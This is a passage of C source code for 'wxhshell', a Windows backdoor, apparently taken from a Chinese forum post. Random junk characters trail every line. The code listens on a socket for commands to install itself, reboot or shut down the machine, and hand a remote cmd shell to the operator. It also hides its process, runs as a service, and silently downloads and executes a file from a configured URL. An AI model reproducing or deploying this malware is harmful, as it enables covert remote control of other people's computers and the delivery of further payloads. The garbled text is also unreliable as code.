  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Rfx}[!<{N  
  } B=<Z@u  
  else { ZFxa2J~;  
#/,WgsAC  
    switch(cmd[0]) { QjIn0MJ)Xm  
  sw\O\%^  
  // 帮助 dSP~R  
  case '?': { E2nsBP=5C  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `;c{E%qeq  
    break; pYBY"r  
  } 6Trtulm  
  // 安装 2?}5U)Hg  
  case 'i': { \RF{ITV$kD  
    if(Install()) xb (Cd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;1MRBk,  
    else |19zjhl  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C f(g  
    break; Chs#}=gzi  
    } w9aLTLv-  
  // 卸载 B)`@E4i  
  case 'r': { N?3BzI%?  
    if(Uninstall()) AzZb0wW6p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q(XO_1W0V  
    else oro^'#ki  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L60Sc  
    break; +oRBSAg-  
    } v;ZIqn"  
  // 显示 wxhshell 所在路径 sQ aP:@  
  case 'p': { X4$86  
    char svExeFile[MAX_PATH]; 1 k\~%  
    strcpy(svExeFile,"\n\r"); uLq%Nu  
      strcat(svExeFile,ExeFile); S2\|bs7;J,  
        send(wsh,svExeFile,strlen(svExeFile),0); &_o.:SL|  
    break; tj1M1s|a  
    } Nu[0X  
  // 重启 &a9Y4~e::  
  case 'b': { 3*C|"|lJ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5faY{;8  
    if(Boot(REBOOT)) v*lj>)L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z1Pdnc7S[  
    else { *p.70,5,  
    closesocket(wsh); JW2~ G!@  
    ExitThread(0); ]w5j?h"b  
    } \\(3gB.Gd  
    break; B.Y8O^rx  
    } '\wZKY VN  
  // 关机 hhr!FQ.+/  
  case 'd': { 2JR$  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2_C&p6VGj  
    if(Boot(SHUTDOWN)) A>B_~=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \1f&D!F]b  
    else { 2S@aG%-)  
    closesocket(wsh); &fRZaq'2R  
    ExitThread(0); =8W'4MC  
    } RA3!k&8?#  
    break; @UwDsx&2(t  
    } ++|vy~T  
  // 获取shell XdV(=PS!a@  
  case 's': { D=_FrEM_IA  
    CmdShell(wsh); ^77X?nDz=h  
    closesocket(wsh); %|o2d&i  
    ExitThread(0); ~&%&Z  
    break; )Rj,PF-9Z[  
  } Y q(CD!  
  // 退出 aTi,gJ;*  
  case 'x': { 5~H}%W,P  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;-"'sEu}  
    CloseIt(wsh); %^LwLyoVM  
    break; w(cl,W/w  
    } cz.,QIt_  
  // 离开 =g^k$ Rc  
  case 'q': { \Pt_5.bTs[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $/|2d4O:{  
    closesocket(wsh); v[!ZRwk4w3  
    WSACleanup(); #Nv)SCc  
    exit(1); W</\F&  
    break; +<$b6^>!$  
        } SadffAvSA{  
  } M|9=B<6`7  
  } cqZuG}VR  
<E1ngG  
  // 提示信息 z$b'y;k  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )Q)H!yin  
} m-AW}1:\f  
  } 7 P/1'f3  
3x3 =ke!  
  return; mNdEn<W  
} MzpDvnI9  
*<#$B}!{  
// shell模块句柄 IRY/0v  
int CmdShell(SOCKET sock)  .H7xG'$  
{ }:xj%?ki  
STARTUPINFO si; x2$Y"b?vz  
ZeroMemory(&si,sizeof(si)); MgrJ ;?L  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; B nu5\P  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `\M}~  
PROCESS_INFORMATION ProcessInfo; 5$<Ozkj(  
char cmdline[]="cmd"; g?> V4WF  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); T@gm0igW/;  
  return 0; Q)%a2s;  
} |N+uEiJ  
WP ~]pduT  
// 自身启动模式 _2wH4^Vb  
int StartFromService(void) Cw,;>>Y_b<  
{ .NRSBk  
typedef struct nv}z%.rRUj  
{ +H6cZ,  
  DWORD ExitStatus; $I4:g.gKpG  
  DWORD PebBaseAddress; Og/@w&  
  DWORD AffinityMask; .EdQ]c-E=  
  DWORD BasePriority; >O/1Lpl.3  
  ULONG UniqueProcessId; %P HYJc  
  ULONG InheritedFromUniqueProcessId; %?i~`0-:n%  
}   PROCESS_BASIC_INFORMATION; BU=;rz!;  
Z O\x|E!b  
PROCNTQSIP NtQueryInformationProcess; ~ "stI   
]Z=O+7(r  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ! ~3zp L  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; p{W'[A{J .  
`HV~.C  
  HANDLE             hProcess; 1azj%WY  
  PROCESS_BASIC_INFORMATION pbi; Gcp!"y=i  
"D[/o8Hk  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /A"UV\H`f  
  if(NULL == hInst ) return 0; bd[%=5  
uj^l&"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); df@G+v0_1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); atYe$Db  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); U "kD)\  
'l&bg8K9  
  if (!NtQueryInformationProcess) return 0; /;9iDjG  
h-6zQs   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]^BgSC  
  if(!hProcess) return 0; &N|`Q (QXS  
{"n=t`E)3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &KP JB"0L  
o8!uvl}:9  
  CloseHandle(hProcess); WwAvR5jq  
.xV^%e?H  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); dH_g:ocA  
if(hProcess==NULL) return 0; 3}gf %U]L  
vq-# %o  
HMODULE hMod; z=pGu_`2  
char procName[255]; JH`oa1 b  
unsigned long cbNeeded; < +X,oxg  
la{Iqm{i  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); tVqc!][   
K3-Cuku  
  CloseHandle(hProcess); iZn<j'u  
-EIfuh  
if(strstr(procName,"services")) return 1; // 以服务启动 ]m@p? A$  
iJVm=0WS^  
  return 0; // 注册表启动 1/<Z6 ?U  
} 6hAMk<kx?i  
&T2qi'  
// 主模块 6:3F,!J!  
int StartWxhshell(LPSTR lpCmdLine) ;'P<#hM[$  
{ a`_w9r+v  
  SOCKET wsl; d8% sGH  
BOOL val=TRUE; 'RzzLk|$  
  int port=0; @zi_@B  
  struct sockaddr_in door; tr-muhuK  
Dh.pH1ZY3n  
  if(wscfg.ws_autoins) Install(); Eq6. s)10  
<= Aqi91  
port=atoi(lpCmdLine);  LAO2Py#  
GjeRp|_Qd<  
if(port<=0) port=wscfg.ws_port; VK3e(7 b  
Yu_` >so  
  WSADATA data; Bl*.N9*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Rb l4aB+   
qY$]^gS  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `VD7VX,rp*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); l$DQkbOj  
  door.sin_family = AF_INET; R~H+.Vh  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \Ws$@ J-M  
  door.sin_port = htons(port); -$tf`   
WNWtQ2]  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &LDA=B  
closesocket(wsl); Q/^a(   
return 1; Wk-jaz  
} NW`L6wgl  
SeIL   
  if(listen(wsl,2) == INVALID_SOCKET) { ^_!2-QY.~  
closesocket(wsl); H-5h-p k  
return 1; F|^tRL-  
} '/ *;g#W=  
  Wxhshell(wsl); x}X hL  
  WSACleanup(); $E h:m&hq  
 PpWdZ  
return 0; [28Vf"#]  
i f!   
} ],xvhfZ"dn  
53O}`xX!6  
// 以NT服务方式启动 }-2U,Xg[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [s&0O<Wv  
{ k btQ  
DWORD   status = 0; )F65sV{  
  DWORD   specificError = 0xfffffff; EJaGz\\  
s]Qo'q2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {RHa1wc  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; | rwx; +  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9MUg/  
  serviceStatus.dwWin32ExitCode     = 0; p n(y4we  
  serviceStatus.dwServiceSpecificExitCode = 0; 4StoEgFS  
  serviceStatus.dwCheckPoint       = 0; ;$/]6@bqB  
  serviceStatus.dwWaitHint       = 0; mWX{I2  
qz&?zzz;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); u?lbC9}$  
  if (hServiceStatusHandle==0) return; 5 ]l8l+  
TpAso[r  
status = GetLastError(); ~Zo;LSI  
  if (status!=NO_ERROR) @JU Xp  
{ prO ~g  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $J!WuOz4^i  
    serviceStatus.dwCheckPoint       = 0; lOu&4Kq{g  
    serviceStatus.dwWaitHint       = 0; [VY265)g  
    serviceStatus.dwWin32ExitCode     = status; !1[ZfTX^a  
    serviceStatus.dwServiceSpecificExitCode = specificError; U}^`R,C  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -AZ\u\xCB  
    return; `*w!S8}m;  
  } *r].EBJ\  
:?f^D,w_B  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )2: ,E  
  serviceStatus.dwCheckPoint       = 0; 4v;KtD;M  
  serviceStatus.dwWaitHint       = 0; ]Pf!wv  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ` 3h,Cy^  
} Zx U?d   
`=19iAp.  
// 处理NT服务事件,比如:启动、停止 E5 uk<e_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :@K~>^+U  
{ $_Q]3"U  
switch(fdwControl) a|kEza,]  
{ uQO\vRh0  
case SERVICE_CONTROL_STOP: }Wz[ox9b  
  serviceStatus.dwWin32ExitCode = 0; =H/ 5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @Jc^ur  
  serviceStatus.dwCheckPoint   = 0; -v{LT=,O  
  serviceStatus.dwWaitHint     = 0; =.2)wA"e'  
  { NQIbav^5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QW= X#yrDO  
  } p"d_+  
  return; dlCmSCp%  
case SERVICE_CONTROL_PAUSE: qTI_'q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |)+45e  
  break; Fr)6<9%xVm  
case SERVICE_CONTROL_CONTINUE: ^|ul3_'?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; W #V`|JA  
  break; CM4#Nn=i~  
case SERVICE_CONTROL_INTERROGATE: - sL4tMP  
  break; !;E{D  
}; &Rt^G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'W*ODAz6  
} @f`s%o  
iG+=whvL  
// 标准应用程序主函数 H/$oGhvl  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) '.IR|~Y  
{ ASUL g{  
37 d-!  
// 获取操作系统版本 )}i|)^J  
OsIsNt=GetOsVer(); :aWC6"ik-W  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $\q}A:  
)Ag{S[yZ  
  // 从命令行安装 !n|4w$t"V  
  if(strpbrk(lpCmdLine,"iI")) Install(); e~PAi8B5  
a 3C\?5  
  // 下载执行文件 *nlDN4Y[  
if(wscfg.ws_downexe) { Yge}P:d9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8B7~Nq'  
  WinExec(wscfg.ws_filenam,SW_HIDE); XU6SYC"t%~  
} /5m~t.Z9M  
]BaK8mPl  
if(!OsIsNt) { |SuN3B4e  
// 如果时win9x,隐藏进程并且设置为注册表启动 l09SWug  
HideProc(); <~n%=^knE  
StartWxhshell(lpCmdLine); q*7:L  
} >(C5&3^  
else G!E1N(%o  
  if(StartFromService()) ,$bK)|pGV  
  // 以服务方式启动 u+qj_Ej  
  StartServiceCtrlDispatcher(DispatchTable); A9o"L.o)  
else ub]"b[j\1  
  // 普通方式启动 5v"Sv  
  StartWxhshell(lpCmdLine); Esdw^MGL2  
%nhE588xf  
return 0; <F ?UdMT4y  
}
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只看该作者 1 发表于: 2006-10-10
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